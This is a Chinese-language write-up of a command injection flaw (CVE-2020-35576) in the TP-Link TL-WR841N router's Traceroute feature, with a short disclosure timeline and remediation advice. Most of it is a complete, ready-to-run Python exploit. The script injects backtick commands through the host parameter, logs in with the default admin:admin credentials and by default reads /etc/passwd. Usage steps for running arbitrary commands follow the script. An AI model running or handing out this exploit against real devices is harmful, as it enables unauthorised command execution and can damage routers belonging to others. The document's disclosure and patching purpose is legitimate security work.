TL-WR841N 命令注入挖掘和利用方法(CVE-2020-35576)
字数 931 2025-08-22 12:23:00
TP-Link TL-WR841N 命令注入漏洞分析与利用(CVE-2020-35576)
漏洞概述
TP-Link TL-WR841N 无线路由器存在一个参数注入漏洞(CVE-2020-35576),该漏洞允许经过身份验证的远程攻击者在系统上执行任意命令。漏洞存在于路由器的Traceroute诊断功能中,由于对用户输入过滤不严,导致攻击者可以注入恶意命令。
受影响版本:
- TL-WR841N(JP)_V13_161028 <=0.9.1 4.0 v0188.0 Build 161028 Rel.66845n
CVSS评分:7.2
漏洞发现过程
流量分析
路由器提供多种系统诊断工具,包括Ping和Traceroute功能。通过分析客户端与路由器的交互流量,发现以下关键请求序列:
-
初始化请求:
[ACT_OP_TRACERT#0,0,0,0,0,0#0,0,0,0,0,0]0,0成功返回
[error]0 -
Traceroute诊断请求:
[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,8 maxHopCount=20 timeout=50 numberOfTries=1 host=127.0.0.1 dataBlockSize=64 X_TP_ConnName=ewan_ipoe_d diagnosticsState=Requested X_TP_HopSeq=0 -
结果查询请求:
[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,3 diagnosticsState X_TP_HopSeq X_TP_Result
漏洞定位
通过模糊测试(Fuzzing)发现host参数存在命令注入漏洞。测试表明后台可能使用类似system("command")的方式执行Traceroute命令,攻击者可以通过闭合引号注入恶意命令。
漏洞利用
利用原理
在host参数中注入命令,使用反引号(`)或引号闭合原有命令并执行额外命令:
host="`payload`"
完整利用POC
import requests
import sys
import time
try:
_ = sys.argv[2]
payload = ' '.join(sys.argv[1:])
except IndexError:
try:
payload = sys.argv[1]
except IndexError:
print("[*] Command not specified, using the default `cat etc/passwd`")
payload = 'cat etc/passwd'
# 默认凭证为admin:admin - 根据实际情况修改
cookies = {'Authorization': 'Basic YWRtaW46YWRtaW4='}
headers = {
'Host': '192.168.0.1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0',
'Accept': '*/*',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'text/plain',
'Content-Length': '197',
'Origin': 'http://192.168.0.1',
'Connection': 'close',
'Referer': 'http://192.168.0.1/mainFrame.htm',
}
data1 = '''[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,8\r
maxHopCount=20\r
timeout=50\r
numberOfTries=1\r
host="`{}`"\r
dataBlockSize=64\r
X_TP_ConnName=ewan_ipoe_d\r
diagnosticsState=Requested\r
X_TP_HopSeq=0\r
'''.format(payload)
response1 = requests.post('http://192.168.0.1/cgi?2', headers=headers, cookies=cookies, data=data1, verify=False)
print('[+] Sending payload...')
try:
response1.text.splitlines()[0]
except IndexError:
sys.exit('[-] Cannot get response. Please check your cookie.')
if response1.text.splitlines()[0] != '[error]0':
sys.exit('[*] Router/Firmware is not vulnerable.')
data2 = '[ACT_OP_TRACERT#0,0,0,0,0,0#0,0,0,0,0,0]0,0\r\n'
response2 = requests.post('http://192.168.0.1/cgi?7', headers=headers, cookies=cookies, data=data2, verify=False)
print('[+] Receiving response from router...')
time.sleep(0.8) # 为traceroute成功提供缓冲时间
data3 = '''[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,3\r
diagnosticsState\r
X_TP_HopSeq\r
X_TP_Result\r
'''
response3 = requests.post('http://192.168.0.1/cgi?1', headers=headers, cookies=cookies, data=data3, verify=False)
if '=:' in response3.text.splitlines()[3]:
print('[-] Command not supported.')
else:
print('[+] Exploit successful!')
for line_number, line in enumerate(response3.text.splitlines()):
try:
if line_number == 3:
print(line[12:])
if line_number > 3 and line != '[error]0':
print(line)
if 'not known' in line:
break
except IndexError:
break
使用说明
- 保存上述代码为
exploit.py - 运行方式:
例如:python exploit.py [command]python exploit.py "cat /etc/passwd" - 如果没有指定命令,默认执行
cat etc/passwd
警告:执行破坏性命令(如rm -rf)可能导致路由器永久损坏,无法通过重置恢复。
漏洞修复
厂商已发布修复固件,建议用户:
- 检查当前固件版本
- 访问TP-Link官方网站下载最新固件
- 按照厂商指导进行固件升级
漏洞时间线
- 报告给Vendor (security@tp-link.com)
- 分配CVE-2020-35576编号
- 向Vendor提供漏洞利用细节
- Vendor提供新固件版本
- 测试确认新固件修复漏洞
- Vendor公开发布修复固件
防御建议
- 及时更新路由器固件
- 修改默认管理员凭证
- 限制路由器管理界面的访问(如仅限内网访问)
- 实施输入验证和过滤,特别是对系统命令的参数
- 使用最小权限原则运行服务